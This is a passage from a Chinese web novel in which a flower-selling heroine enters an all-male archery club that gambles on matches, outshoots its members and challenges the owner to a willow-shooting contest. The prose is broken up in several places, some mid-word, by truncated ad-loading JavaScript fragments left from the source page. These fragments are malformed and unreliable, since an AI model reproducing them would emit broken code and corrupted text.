“这是我自己想做的事,不觉得辛苦,我和表妹在这里读书写字,你们不觉得烦就好。”戴庭芳谦逊地说道。 姜佑安手肘放在桌面上,右手撑着脑袋看向戴庭芳,微笑着说道:“我沾了小阮的光,能常常看到公子的面容,觉得甚好,公子不来,我才觉得烦恼。” 戴庭芳蹭地从桌边站了起来,“我去看看饺子皮擀好了没有。” 戴庭芳正要往外走,程祥过来把饺子馅儿收了回去,“公子,饺子先不包了,洗洗手准备吃饭吧。” 阮荷拿了抹布来擦擦桌子,不多会儿,一碗碗饺子就端上了桌,大家也都落了座。 “表哥尝尝,看合不合你的胃口。”阮荷说道。 戴庭芳夹起一个饺子,吹了吹,咬了一口,刚入嘴,饺子还有些烫,紧接着就品尝到了荠菜鲜美和猪肉的油香,“好吃。” “咸淡怎么样?”阮荷问道。 “正合适。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 戴庭芳说道。 程祥吃了一个饺子,也夸赞道:“真好吃,阮姑娘的手艺真好,以后谁娶了阮姑娘,可就有福了。” “有什么福?今天是念在你们是客人,才做给你们吃,别的男人想吃,可是要掏钱的。”袁竹说道。 “阮姑娘的相公想吃,也要掏钱?”程祥笑着问道。 “我不嫁人,也不做给别人吃。”阮荷说完,低下头吃饺子,袁竹把蒜醋汁推到她面前,“蘸点儿这个。” 程祥见气氛不对,忙放下筷子,向阮荷作揖道歉,“姑娘恕罪,都怪我口无遮拦,冒犯了姑娘。” 姜佑安笑了笑,“让别的男人享福做什么?该享福的是我们小阮才对。” “姜姑娘说得是,阮姑娘这样的容貌品性,肯定能觅得一个如意郎君,安享荣华富贵。”程祥附和道。 “小阮都说不想嫁人了,你还说这个?当真该罚!”姜佑安站起身来,用手敲了一下程祥的额头。 程祥揉了揉脑门,笑着说道:“姑娘说得对,我是该罚!” “好了,别闹了,趁热吃吧。”袁竹说道。 吃过了午饭,大家把碗筷撤了,擦了桌子,让戴庭芳和阮荷留下教书,其他人都去了厨房洗碗、刷锅、包饺子去了。 直到傍晚向袁家人告辞回家,戴庭芳都没有再跟姜佑安说一句话,他刚走出门不久,姜佑安就追了出去,“戴公子,等一下。” 戴庭芳和程祥都回过头来,“姜姑娘还有什么事?”程祥问道。 姜佑安知道戴庭芳不想理她,于是对程祥说道:“之前戴公子借给过我们的银子,当时也没有数,不知道具体多少,这里是一两银子加半吊钱,你替他收着吧。” 姜佑安把钱塞到程祥手里,程祥看了看戴庭芳,把钱收了起来,“姑娘这么快就把钱还上了,真是厉害。” “对了,你给我们送来的那些球茎还太小,我们已经收起来了,等今年冬天再继续养,到时候卖了钱,我再给你分。”姜佑安说道。 “不用了,那些本来就是花匠送我的,不用姑娘给钱,再说了,姑娘不是还送我柿子了吗?”程祥笑着说道。 姜佑安笑了笑,“好,那就多谢你了,两位慢走。”说完就转身回去了。 之后戴庭芳果然如他所说,隔一天来一趟,来了就教书、检查日课,讲完了就告辞回家,再没有留在袁家吃过饭。 姜佑安知道是自己一时冒失,惹得他不快了,但也不曾向他多说什么,反正她只要有美人看就行了,要是真的对阮荷的表哥出手,面对阮荷,她也会觉得有些尴尬。 只要有钱有身份,世上的美男还不是随她挑?挣到一笔钱之后,她就更加想多赚些钱。 卖水仙花赚的那些钱,还了戴庭芳,又给袁竹、阮荷、李长风分了些,还要留一些冬天买水仙花球茎,手上能用的就变得寥寥无几了。 要怎么才能赚到一大笔钱,好转变一下花农的身份? 姜佑安还没想出什么头绪,就被袁竹叫去一起卖花,袁竹来月经了,腹痛难忍,姜佑安让她坐在路边休息,自己卖完花,再回来接她。 姜佑安挑着担子走街串巷,牡丹和芍药很受欢迎,不到半个时辰,就卖空了大半,她把担子放在地上休息,突然听到身后院子里传来一阵叫喊声。 “射得好!” “好!我愿赌服输!” “我就赌泱泱了,这把他肯定能让我赢回来!” 姜佑安往院门口走去,见门边挂着一块木牌子上,上面写着“锦标社”三个字,难道这里就是袁竹曾经提过的弓箭社? 51. 赌博 姜佑安透过门缝向里看,见院子当中靠门的位置摆着一张桌子,桌子后面站着一个人,院子右边站着一群人,有五人持弓站在前方,院子最左边立着五个靶子。 一声锣响过后,五个人搭箭拉弓,向左边的靶子射去,一箭接着一箭,每个人都射了十支箭才停。 桌后那人高声喊道:“一号靶刘观,五中,二号靶黎泱泱,八中,三号靶吴志才,六中,四号靶张童,三中,五号靶范玉成,七中,二号黎泱泱十箭八中,为第一。” 人群里爆发一阵阵欢呼,“赢了赢了!我赢钱了!”“黎泱泱,我没看错你!” 也有人发出愤怒的嚎叫,“范玉成!就差一箭,你今天是怎么回事?”“黎泱泱什么时候这么厉害了?”“张童!你丢不丢人!就中了三箭,你还是回家玩儿去吧!” “給二号下注的,过来分钱!”桌后那人高喊道。 “太好了,这一把肯定能赢上十两银子!”有三人走到桌边去,姜佑安才发现桌上放着一些散碎银子,桌后那人把钱分成四份,那三人过去把钱拿了,揣进自己怀里。 “黎泱泱,这一份是你的,大家把签筹拿回去,下一组就位之后重新下注。”桌后那人又高声喊道。 人群之中又有一人去桌上拿钱,转身走回来时,姜佑安惊讶地发现,这人竟是之前追到她们家里买水仙的那个黑皮壮汉。 黎泱泱隐入人群里,其中又有五人拿着弓站了出来,人们纷纷去桌边下注。 姜佑安看明白了,他们在用射箭赌博,以前服丧期间禁止宴乐,她的皇兄们就会聚集人来射箭赌博,以此取乐。 姜佑安敲了敲门,一个十五六岁的少男下了闩,打开半扇门,向门外看了看,警惕地问道:“姑娘来找谁?” “我不找人,听见院子里面在射箭,正巧我也粗通射术,想进去跟他们比试比试。”姜佑安微笑着说道。 “你?”少男上下打量姜佑安一番,“姑娘请等一下,我进去问问。” 门关上了,不一会儿,少男再度打开门,身后站着那个黑皮壮汉黎泱泱。 “听说你想和我们弓箭社的人比试?”黎泱泱问道。 看到他那张俊脸,姜佑安很开心,“黎公子,我们又见面了。” “你认识我?”黎泱泱一问出口,就觉得这对话有些熟悉,又看见她身后的卖花担子,马上想了起来,“你是卖花家的,来这里做什么?” “我听见里面在射箭做赌,也想参与一下。”姜佑安说道。 “你会射箭?”黎泱泱有些怀疑地问道。 “会,我从小就会。”姜佑安骄傲地答道。 “会也不行,这里是锦标社,不收女人。”黎泱泱说道。 “为什么?”姜佑安问道。 “还能为什么?女人就该老老实实在后院待着,你为了生计,上街卖花也就算了,还想往男人堆里钻,也太不像话了。”黎泱泱说道。 姜佑安听了很生气,“你这里是射箭的地方,又不是书院,看你年纪轻轻的,怎么也像个老古板一样?” “女人就该有女人的样子,跟我年纪多大没有关系。”黎泱泱说道。 “我看你也就二十多岁吧,正是年轻气盛的时候,不敢跟我比试,是害怕会输给我这个女人吗?”姜佑安扬声说道。 范玉成见黎泱泱站在院门处同人说话,这边比赛就要开始了,他走过去问道:“黎泱泱,你干嘛呢?还下不去下注?” “你们玩吧。”黎泱泱头也不回地说道。 “怎么?赢了一局就觉得自己了不起了?我告诉你,刚才是我没发挥好,等下一局,我一定赢你。”范玉成说道。 姜佑安探头看过去,笑着说道:“我看未必,黎公子这么厉害,你肯定赢不了他,不但赢不了他,你连我都赢不了。” 见门外突然出现个女人,范玉成有点吃惊,“这女人是谁啊?怎么如此出言不逊。” “城外卖花的,村姑一个,口气却不小,想要跟咱们锦标社的人比试比试。”黎泱泱说道。 “我是黎公子的朋友,我叫姜佑安,看你们在里面玩得这么开心,我也想参与一下,不知道公子敢不敢跟我比试一番?”姜佑安说道。 “你还有这样的朋友?”范玉成惊讶地看着黎泱泱。 “不是朋友,只是之前去买花的时候见过一面。”黎泱泱说道。 “哎?可不止一面,今天是咱们第三次见面了,黎公子连我家都去过了,何必表现得如此疏远。”姜佑安笑着说道。 没想到黎泱泱竟然有这样的朋友,范玉成自信绝对能赢她,就让她去出出丑,再顺便贬损一下黎泱泱,真是再好不过了,他笑了笑,“既然是泱泱的朋友,那就进来试一试吧。” 姜佑安向二人行了一礼,“多谢公子成全。” “范玉成,你不要自说自话。”黎泱泱的语气有些不满。 范玉成把黎泱泱拉到一边,附在他耳边说道:“她自己不听劝,偏要来比试,就让大家看看笑话,取取乐,有什么不行的?” “这里都是男人,让她一个女人进来,像什么话?”黎泱泱说道。 “是她自己要进来的,就算被别人看见,传了些什么闲话,也跟咱们不相干,让她射几箭,输点儿钱给咱们,再把她赶出去不就行了。”范玉成小声说道。 黎泱泱想起她家那破旧的房子,寒酸的摆设,要她的钱,有些于心不忍,“算了,还是让她走吧。” 这边还犹豫不定,那边姜佑安已经进了院子,扬声道:“我也来比试比试,有谁要跟我比?” 众人突然听到女人说话,都惊讶地转头看过去,只见一个二十岁左右的女人站在那里,头上插着木棍做的簪子,身上的衣料虽新,却只是普通粗布而已,像是普通人家过年刚做的新衣裳,这样一个平平无奇的女人,竟要跟他们比射箭? 人群里有人笑了起来,渐渐的,笑声越来越大,“姑娘,这里不是绣花的地方,你还是赶紧出去吧。” “我知道,这里是射箭的地方,我就是来射箭的。”姜佑安对这些男人的嘲笑毫不在意。 “射箭?你有弓箭吗?柳条绑的弓,可射不了我们这的靶子。”有人说道。 “黎泱泱!你把一个女人放进来干什么?现在又不是吃酒的时候。”又有一人说道。 黎泱泱正要过来把姜佑安带出去,范玉成拦住了她,“大家别着急,就当是看射箭表演,反正也不费什么。” “要费的,我也跟黎公子一样,射箭赢了,也得给我分钱。”姜佑安坦然说道。 “真是不知天高地厚!还想要我们的钱!”一人生气地说道。 “我不是要你们的钱,是赢你们的钱。”姜佑安说道。 “哼,牛都让你吹到天上去了!你别是来捣乱的吧。”又一人说道。 范玉成笑了笑,向大家劝道:“平日里都是我们自己赌着玩儿,大家对彼此的技艺都熟悉,时间久了,看谁上场就能猜出个一二三来,想想也是无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 趣,如今多了个变数,不觉得更有趣了吗?” “这么个村姑算什么变数,估计她连弓都拉不开。”张童说道。 范玉成把自己的弓递给姜佑安,“让姑娘试试不就知道了。” 姜佑安接过弓,拨了拨弓弦,又按了按弓身,把弓还给了范玉成,“算了,我只用得惯自己的弓,明天你们还在这里吗?我明天再来。” 范玉成很是意外,众人马上就要同意了,她竟然要走,是怕拉不开弓丢脸吗?不过,弓不顺手他也不好强留,他收下弓,微笑着说道:“明天我们也在,姑娘可不要食言。” “那是自然。”姜佑安向范玉成行了一礼,走出门去。 人群里议论纷纷。 “她是不是在耍我们啊?” “她肯定不会射箭!” “范玉成,你还让她明天再来干什么?” 范玉成没有理会他们,而是走到黎泱泱身边,“这个村姑,她真的会射箭吗?” 黎泱泱看着姜佑安挑着担子走了,心里也不太确定,“不过是个卖花的,怎么会射箭,明天她来了,不许放她进来。” “好,听你的。”范玉成说完,走进了人群里。 姜佑安离开了弓箭社,继续去卖花,卖完了花,去找袁竹,她背着袁竹,袁竹扶着扁担,两人艰难地回了家。 李长风和程祥看见两人回来了,忙迎了上去,问明了缘由,把袁竹扶到了床上去。 阮荷很是担心,袁竹说自己没事,让她安心读书去。 时间还早,姜佑安放下了担子,拿着弓和箭出了屋,对着箭靶练起弓箭来。 自从卖水仙花得了钱,姜佑安就再也没有上山打过猎,她不爱猎杀,但她依然喜欢射箭,天气暖和之后,她就把靶子挂了出来,每天都要练一阵子。 李长风去了厨房烧水,程祥走了过来,“姑娘今天回来没有去跟公子打招呼,却直接来射箭,是发生了什么事吗?” “没什么,明天有一场射箭比赛,我得好好准备一下。”姜佑安说道。 “射箭比赛?什么地方举办的?”程祥问道。 一箭射出,姜佑安放下了弓,看向一旁的程祥,“县里有个弓箭社,你知道吗?” “锦标社是吗?我听说过。”程祥答道。 “一个小小的弓箭社,竟然跟戴家的书院一样,不让女人入内,我明天就去把他们打个落花流水,让他们都为我的技艺叹服。”姜佑安说道。 “姑娘想要加入弓箭社?”程祥问道。 姜佑安拿起弓,搭上箭,“是啊,等明天我打败了他们,他们肯定得让我加入。” 程祥看着姜佑安,心中为她感到惆怅,“这恐怕不容易,书院不会招女学生,弓箭社也不会让女人加入。” 姜佑安后退了几步,拉满弓,箭支迅疾飞出,正中靶心,“我会让他们同意的。” 姜佑安在外面练了一下午的箭,直到天黑看不清靶子了,才收了弓箭和靶子,回院里去休息。 第二天袁竹还在因为月经而难受,姜佑安劝她好好休息,自己担着担子出门了,阮荷问她为什么身上带着弓箭,她只说要去弓箭社看看,阮荷不知道弓箭社是干什么的,也就没再问。 李长风也不知道弓箭社是什么,但他想要跟着一起去,姜佑安没同意,要他留下来,守着袁竹和阮荷。 姜佑安一早进了县城,没有去卖花,而是径直去了弓箭社的院子,却不曾想,门口已经有两个人在等着她了。 52. 比赛 姜佑安走到近旁仔细一看,竟是戴庭芳和程祥。 “程祥?你们怎么会在这里?”姜佑安在门边放下担子,“你们也是弓箭社的?” “不是,昨天我跟公子说了你要来弓箭社比赛的事,公子不放心,所以过来看看。”程祥说道。 “弓箭社里都是男人,姑娘还是不要去了吧。”戴庭芳说道。 “我只是去射箭而已,里面那么大一个院子,还容不下我一个女人?”姜佑安说道。 “姜姑娘,你一个女人,得为自己的名声考虑。”戴庭芳劝慰道。 “名声这种东西,还不是别人想怎么说就怎么说?等我有了钱,有了地位,谁能拿名声来约束我?戴公子,我是来挣钱的,你不要挡我的路。”姜佑安说道。 “既然姑娘不愿意放弃,那我和程祥就和姑娘同去吧。”戴庭芳说道。 “嗯?你们,跟我同去?为什么?你们会射箭?”姜佑安奇怪地问道。 “不会,但想必黎老板不会拒绝让我们在一旁观看。”程祥说道。 “黎老板?你是说黎泱泱?你们认识他?”姜佑安问道。 “以前书院开设有射箭课,所以家父结识了弓箭铺的老板黎千秋,学院的弓箭都是从他那里购买的,现在弓箭社的社长也是他,我认识他,姑娘说的黎泱泱,应该是黎老板家的大公子,我只是听说,还不曾见过他。”戴庭芳说道。 姜佑安笑了笑,向戴庭芳身后扬了扬下巴,“那你现在就能见到了。” 戴庭芳和程祥转过头去,看见一个皮肤黝黑的男人走了过来,他穿着一身玄色长袍,看起来身强体壮,意气风发。 黎泱泱看见姜佑安站在弓箭社的大门口,眉头微微皱起,“你又来干什么?” 姜佑安嘴角带着浅笑,“我依照约定,带着弓箭来比赛了。” “我不记得我们曾有这样的约定,姑娘请回吧。”黎泱泱说道。 “黎公子看起来说一不二,没想到竟会失信于人。”姜佑安说道。 “你要搞清楚,答应你的是范玉成,锦标社的社长是我爹,我爹没答应,范玉成答应了也不算。”黎泱泱说道。 “既然令尊是社长,黎公子答应了,不也是一样?”姜佑安说道。 “这位姑娘,你怎么这么固执呢?你好好卖你的花去,偏来男人堆里干什么?你以为射箭赌博是什么有趣的事?”黎泱泱不耐烦的地说道。 “当然是有趣的事,又能射箭,又能赚钱,黎公子,你们昨天玩得那么开心,也让我进去试试吧。”姜佑安笑着说道。 听了两人的对话,戴庭芳非常惊讶,“赌博?弓箭社里在设赌局?” “姜姑娘,你还是回去吧。”程祥劝说道。 黎泱泱闻声看了过去,“他们二人是什么人?跟你一起来的?” “这位是我朋友,名叫程祥,那位是他家公子,他们只是碰巧路过这里,打个招呼就走了。”姜佑安说道。 “你也快走吧。”黎泱泱说道。 “我不走,我特意带了弓箭来,你就让我进去比试比试吧。”姜佑安说道。 黎泱泱有些生气了,不由得提高了音量,“来这里的都是赌徒,你家里又没有什么钱财,难道非得输到倾家荡产才好吗?” “黎泱泱,一大早上的,在这吵什么呢?”不远处传来范玉成的声音, 姜佑安回过头,见范玉成领着一大帮人走了过来,她笑着迎了上去,“范公子,你可算来了,我今天做好准备了,黎公子又不肯让我去比试了。” 范玉成笑了笑,“姑娘不必担心,此事我已经跟社长说过了,他同意姑娘进去比试,只要姑娘不会输了不认账就行。” “我一言九鼎,绝不会不认账。”姜佑安说道。 “你什么时候跟我爹说的?我怎么不知道?”黎泱泱问道。 “自然是在你出门之后。”范玉成走到了门口,转头看向右侧的黎泱泱,“开门吧,这么多人在路上堵着,影响多不好。” 黎泱泱犹豫了片刻,拿出钥匙开了门,范玉成做出请的姿势,姜佑安点了点头,大步走了进去,后面的人也都跟着进了院子。 戴庭芳也走了进去,程祥把卖花担子挑进去,放在墙边。 “今天没有集会,你怎么叫了这么多人来?”黎泱泱问道。 范玉成玩味地笑着,“他们是我特意找来,给姜姑娘鼓劲助威的。” 黎泱泱看他笑成那个样子,觉得有些恶心,“你到底安的什么心?” “没什么,她不是你朋友吗?我只是想尽力满足她的心愿而已。”范玉成看向姜佑安,见她已经在墙边卖起花来,边上围了一圈人,“你这个朋友,到底是来射箭的,还是来卖花的?” 黎泱泱也看不懂姜佑安的用意,烦躁地说道:“都跟你说了,我跟她不熟。” 范玉成打开手中的纸扇,遮掩着嘴角的笑意,“那就让她卖吧,卖了钱,正好让我赢走。” 黎泱泱心中鄙夷,小声嘟囔道:“算计人的狐狸精。” “我就当你是在夸我好了,反正大家都是这么想的,就算买了花付了钱给她,钱也会回来的。”范玉成收起扇子,也去买了一枝大红的牡丹插在头上。 黎泱泱也走了过去,生气地问道:“你怎么还有心思卖花?” “我今天出门,一是为了比赛,而是为了卖花,现在还没开始比赛,买买花,不正好?”姜佑安收了卖花钱,笑着说道。 “你可知道,我们一场赌局,赌注就是一两银子,你这一担花,够得上一两银子吗?”黎泱泱说道。 姜佑安神色淡然,“我这担花是够不上,不过,我还带了银子来,应该够玩几局了。” 黎泱泱眉头紧皱,这个女人怎么就意识不到问题的严重呢!“你非要把钱全输掉才甘心吗?” 姜佑安笑了笑,“公子别担心,我自有分寸。” “谁担心你了。”黎泱泱不再理会她,转身离去。 见黎泱泱劝不动她,戴庭芳十分担心,“这里的人都是赌徒,姜姑娘,你还是出去吧。” “对啊,你在这里卖卖花就回去吧,别跟他们比试了。”程祥说道。 “我好不容易才进来的,怎么能就这么走了?”姜佑安看到昨天那个少男又守在了门口,“估计现在想走也走不了了。” 陆陆续续的,有越来越多的人进了院子,范玉成看人到得差不多了,吩咐闩上院门,众人站在院子东侧,在西侧二十步远的地方立起靶子,中间靠房门的位置摆放了一张桌子,桌子上刻出了五块区域,有一个叫王牧的站了过去。 姜佑安见状,也系好箭囊,拿着弓走了过去。 “姜姑娘,你可有签筹?”范玉成问道。 姜佑安左右看了看,见每个人手里都有一支写着名字的木片,“没有,我只投自己,不投别人,没有签筹也行吧。” “姑娘是说只有自己参加比试的时候才下注是吧,可以,当然可以,参加比试的人是必须要下注的,其他人的,可以随意,那么第一局,姑娘要参加吗?”范玉成微笑着问道。 “参加。”姜佑安答道。 “好,有愿意跟姜姑娘比试的吗?”范玉成问道。 有几人站了出来,范玉成给他们分配了各自的靶子,王牧站在赌桌后高声喊道:“一号靶,姜佑安,二号靶,张童,三号靶,刘观,四号靶,罗相旬,五号靶,吕归帆,请下注。” 众人纷纷向赌桌而去,排着队,在不同的区域放下一块银子和签筹,原地只剩黎泱泱、范玉成、戴庭芳和程祥。 范玉成对黎泱泱说道:“你不去下注吗?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “不去。”黎泱泱冷漠地吐出两个字。 范玉成又看向戴庭芳,微笑着问道:“戴公子不玩一下吗?” 戴庭芳板着脸,摇了摇头。 姜佑安给自己下完注,走了回来,“你认识戴公子?” “戴院长的公子嘛,我怎么能不认识,戴公子,我在这里的事,还请你替我保密。”范玉成说道。 戴庭芳没有回答。 姜佑安心里暗自好笑,看来这个范玉成也是书院的学生,不过,戴庭芳是肯定不会帮他保密的,“范公子,你怎么不去下注?” 范玉成笑了笑,“下一局再说吧。” 待众人下了注,王牧拿起一个小锣来,敲了一下,原本闹哄哄的人群瞬间安静下来。 五个人在人群前持弓而立,一箭接一箭地向靶子射过去,很快就射完了十箭。 有专门记数的人把一张纸递给了王牧,他高声念道:“一号靶姜佑安,四中,二号靶张童,三中,三号靶刘观,六中,四号靶罗相旬,三中,五号靶吕归帆,五中。三号靶刘观十箭六中,为第一!” 人群中爆发一阵阵欢呼。 “我就说刘观是最厉害的吧。” “这小姑娘,我真是看走眼了。” “你竟然赌那姑娘赢,真是好笑。” “赌着玩玩嘛,有什么关系,这姑娘能拉开弓,还能射中四箭,已经很不错了。” “那是,已经比张童厉害了!” 众人哈哈大笑起来。 赌桌上,王牧正在念签筹分钱,有人欢喜,有人怒骂。 黎泱泱看着姜佑安,眼中尽是不解,“你这样的水平,自己射着玩儿就得了,为什么非要来赌?” “姜姑娘,你卖水仙花,好不容易才赚了些钱,何必要送给这些赌徒呢?”程祥说道。 范玉成也走了过来,笑着问道:“姑娘不是要走了吧?” “怎么会?第二局,我还要参加。”姜佑安说道。 王牧分好了钱,又定下了第二局的人选,人群又变得热闹起来。 “这把有黎泱泱,我就投他了。” “我看范玉成跟他不分高下,我赌范玉成!” “范玉成,今天你一定要给我争口气!” “黎泱泱,你可得让我赢啊!” 姜佑安也去投注,她看见一号的位置里,空空荡荡,没有一块银子,她把自己的银子放上去,紧接着,又有两只手伸过来,把两块银子放在了她的银子旁边。 “两位,你们也没有签筹吗?”王牧问道。 姜佑安转过头,见是戴庭芳和程祥,“你们下什么注啊?” “没什么,只是希望姜姑娘能赢。”戴庭芳淡淡地说道。 “心意我领了。”姜佑安把两人的银子拿起来,揣进了怀里,冲戴庭芳眨了眨眼睛,悄声说道:“那就让我一个人赢吧。” 姜佑安把两人推回去,自己在射箭的位置上站定,看门的少男把靶子上的箭和地上散落的箭搜集起来,送到姜佑安的手里,姜佑安礼貌地道了声谢,把箭放回箭囊里。 黎泱泱站定后,向旁边看了看,见姜佑安的神色认真了许多。 锣声响起,黎泱泱摆开架势,张弓搭箭,箭支接连射向靶子,射完了十支箭,他长舒了一口气,还好,今天发挥不错。 王牧高声报道:“一号靶姜佑安,七中,二号靶黎泱泱,七中,三号靶吴志才,六中,四号靶关信,五中,五号靶范玉成,六中。一号靶姜佑安、二号靶黎泱泱,十箭七中,并列第一!” 王牧刚一宣布完,人群就如同炸了的油锅,喧闹不已,黎泱泱也吃惊地看向姜佑安,她竟真有这等本事! 看到黎泱泱不敢置信的眼神,姜佑安笑得很灿烂,“并列第一了怎么办?要再比一次吗?” 53. 射柳 黎泱泱收回目光,点了点头,“自然是要再比一次。” 守门少男再次把箭送回了姜佑安手里,姜佑安和黎泱泱站在射箭的位置,等待着下一次的比试。 “这姑娘是怎么回事?怎么突然变厉害了?” “上上把中四箭,上把就中了七箭,进步神速啊。” “真是小瞧她了,看来这姑娘不简单。” “什么不简单,再厉害也不过是个女人,肯定没有黎泱泱厉害!” “那是,拉了这么多次弓,她肯定累了,哪还能比得过男人。” “黎泱泱,我们可都下注到你身上了,你可不要让我们失望!” “是啊!黎泱泱,打败她!让她看看男人的威风!” 锣声一响,院子内又安静了下来,戴庭芳和程祥紧张地看着姜佑安搭上箭,拉开弓,嗖的一声,箭支飞了出去,射中了一旁黎泱泱的靶子。 人群里爆发出一阵哄笑。 黎泱泱被吓了一跳,手中的箭差点脱手,他放下弓,等小童去拔走了箭,才又举起了弓。 人群安静下来,只听见箭支飞出的声音,一箭一箭破空飞去,几乎是箭无虚发,都稳稳地扎在了靶子上。 王牧从赌桌后走了出来,待两人都停了手,忙跑过去亲自确认。 “二号靶,黎泱泱,八中!”王牧喊道。 人群里变得喧闹起来。 “好!太好了!” “黎泱泱太厉害了,这是最近射中最多的一次了吧。” “赢了,我赢定了!” “赢什么赢!你只看黎泱泱了吧,我可是数的真真的,那姑娘射中了九支!” “什么?九支!” “小点儿声,听他报几支。” 果然,那边又传来一声,“一号靶,姜佑安,九中,姜姑娘第一!” 人群里瞬间鸦雀无声,你看看我,我看看你,一时都不知道说什么好了。 姜佑安收起弓,跑到赌桌边,高兴地问道:“我赢了!这些是不是都是我的了?” 王牧回到了赌桌后,微笑着说道:“只有姑娘给自己下了注,这桌上的钱,都是姑娘的了。” “太好了!”王牧帮着姜佑安把桌上的钱归拢到一起,姜佑安一把接一把地揣进了怀里。 戴庭芳把自己钱袋里的钱倒出来,把空钱袋递给姜佑安,“姜姑娘,用这个装吧。” “谢谢。”姜佑安把钱都装进了钱袋了,粗粗一数,也有四五十两银子,她从里面拿出两块来,还给戴庭芳和程祥,“这是你们的。” 程祥收下钱,笑了笑,“怪不得姑娘不让我们下注,原来是早有把握。” 姜佑安也笑了,“没有把握,我哪会来这种地方。” “下一局,我来跟你比!”有一壮汉从人群中走出来,扬声说道。 “是岳复!跟一个女人比,他肯定赢定了。”有一人说道。 “那是肯定的,连黎泱泱都没有赢过他。”又有一人说道。 王牧笑了笑,“岳复,人家姑娘刚比了三局,你这时候跟人比,不是欺负人吗?” “对啊,姑娘也累了,带着这些钱回去吧,下一局要是输了,可就不好看了。”范玉成笑着说道。 “不能让她回去!” “赢了一局就走,哪有这样的事!” “再比!继续比!” 岳复不理会人群的喧闹,只看着姜佑安,“姑娘敢和我比吗?” 姜佑安把钱袋揣进了怀里,仰头看着岳复,“岳公子就是弓箭社里射艺最高超的人?” “可以这么说。”岳复说道。 “行,下一局我可以跟岳公子,不过,我有一个条件。”姜佑安说道。 “什么条件?”岳复问道。 “如果我赢了岳公子,你们要同意我加入弓箭社。”姜佑安说道。 “这……”岳复很是为难,“锦标社的社长是黎老板,我不能代他答应。” “那就算了。”姜佑安收起弓,作势要向外走。 “哎!等等!虽然我不能代黎老板答应,但我可以帮你向黎老板说情。”岳复说道。 “对对对!我们都可以帮你说情,你们说是吧?”范玉成转头向人群说道,大家纷纷附和。 姜佑安觉得还算满意,“好,那就来比吧。” “姜姑娘,前院太小,我施展不开,咱们去后院比吧。”岳复提议道。 戴庭芳有些不放心,“前院就能比,去后院做什么?” “后院好,后院更宽敞。”范玉成解释道。 “就依岳公子所说。”姜佑安点头答应。 岳复走在前面,姜佑安跟了过去。戴庭芳和程祥也忙跟了上去。 范玉成走在戴庭芳的身边,微笑着说道:“戴公子,这里可不是什么不正经的地方,大家平日里都是比试射箭,无聊了才加设的赌局,你就不必担心了。” 戴庭芳一言不发,跟着人群到了后院。 后院果然比前院宽敞得多,院子里空空荡荡,除了西北角的墙边有一棵大柳树,再无他物。 大家布置好了赌桌,在三十步外设好靶子。 “这靶子也太远了吧。”程祥说道。 “姜姑娘不是等闲之辈,三十步远的靶子,对姑娘来说,应该不算什么吧。”岳复说道。 姜佑安只微微一笑,“我奉陪就是。” 这一局,没有凑够五个人,姜佑安、黎泱泱、范玉成和岳复在射箭的区域站好,赌桌上,大家已经下完了注,姜佑安的一号位置里,除了自己的那块银子,竟还有其他四个人给她下了注。 黎泱泱看了一旁的姜佑安一眼,靶子变远了,她好像并不十分在意,镇定自若地拉开了弓。 黎泱泱回过神来,举起弓,全神贯注地盯着远处的靶子,拉开弓弦。 十支箭射毕,王牧高声宣布:“一号靶岳复,八中,二号靶范玉成,六中,三号靶黎泱泱,六中,四号靶姜佑安,九中,四号靶姜佑安十箭九中,为第一!” “这么远都能十箭九中?是真的吗?”众人跑去靶子前查看,见四人的成绩确定无疑,纷纷叹服,“这姑娘也太厉害了!连岳复都赢不了她。” 姜佑安径直走到赌桌前,笑着问道:“公子,可以给我分钱了吗?” “当然。”王牧把桌上的钱分坐五份,又把其中一份推到姜佑安的面前,“真没想到,姑娘的射艺竟如此厉害!” “不枉我昨天苦练了一下午。”姜佑安把钱装进了钱袋里,转身问道:“还有谁要跟我比吗?” 众人你看看我,我看看你,都不做声了。 “我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来跟你比!”一个略微苍老的声音响起,众人看过去,见是黎千秋从后院屋里走了出来。 “爹,你怎么在这里?”黎泱泱惊讶地问道。 “我不能来?”黎千秋看向黎泱泱,声音里带着怒气,“赢不过岳复也就算了,连一个女人都赢不过,你这么多年,都白练了吗?” 黎泱泱有些羞愧地低下头,“爹教训的是,我以后一定加倍努力练习。” “原来是黎老板,我跟您比,赢了可以加入弓箭社吗?”姜佑安问道。 “先别夸海口,您能赢得了再说。”黎千秋趾高气昂地说道。 “赢不赢得了,也不妨碍先把奖罚说清楚。”姜佑安说道:“我赢了,你就要让我加入弓箭社。” “好,你要是输了,就把今天赢的银子全都留下,以后再不许来我锦标社捣乱!”黎千秋说道。 “一言为定!这一局还要下注吗?”姜佑安问道。 “下,我为一号,姑娘为二号,大家可以先去下注了。”黎千秋说道。 众人纷纷往赌桌那里去了,黎千秋这才注意到戴庭芳也在场,他奇怪地问道:“戴公子也加入我们锦标社了吗?” 戴庭芳上前行礼,“黎老板,我是和姜姑娘一同前来的,并不曾加入锦标社。” “一向听说戴公子不能跟女人说话,怎么今天却和一个姑娘在一起?”黎千秋问道。 “晚辈只是来凑个热闹罢了。”戴庭芳说道。 “这一局输了,就要把之前赢的全交出来,这也太不公平了吧。”程祥说道。 “她一个女人,跑到我这里捣乱,我没让她赔钱就已经是仁慈了,况且,她自己都答应了,还用你为她打抱不平?”黎千秋说道。 戴庭芳看了程祥一眼,程祥闭上嘴低下了头。 见众人都下了注,姜佑安拿着一块银子,放到赌桌上二号的位置,一号里面满满当当,二号里却只有孤零零的一块银子,看来大家都很信得过黎千秋的射艺,这一场比试,怕是不简单。 黎千秋也去给自己下了注,然后挥了挥手,几个仆人从屋里走了出来,每个人手里都拿着一个大葫芦。 “射死靶子没什么意思,姜姑娘,咱们这把比射柳吧。”黎千秋说道。 “行啊,比什么我都奉陪。”姜佑安无所谓地说道。 “公子,射柳是什么?”程祥问道。 “射柳一般是端午节举办的活动,他们手里拿的葫芦里都装着鸽子,把这些葫芦挂在柳树上,射中葫芦之后,葫芦掉在地上,里面的鸽子就会飞出来,以鸽子飞的高矮来决定胜负。”戴庭芳说道。 “这也要赌?鸽子飞得高矮哪有定数。”程祥担心地说道。 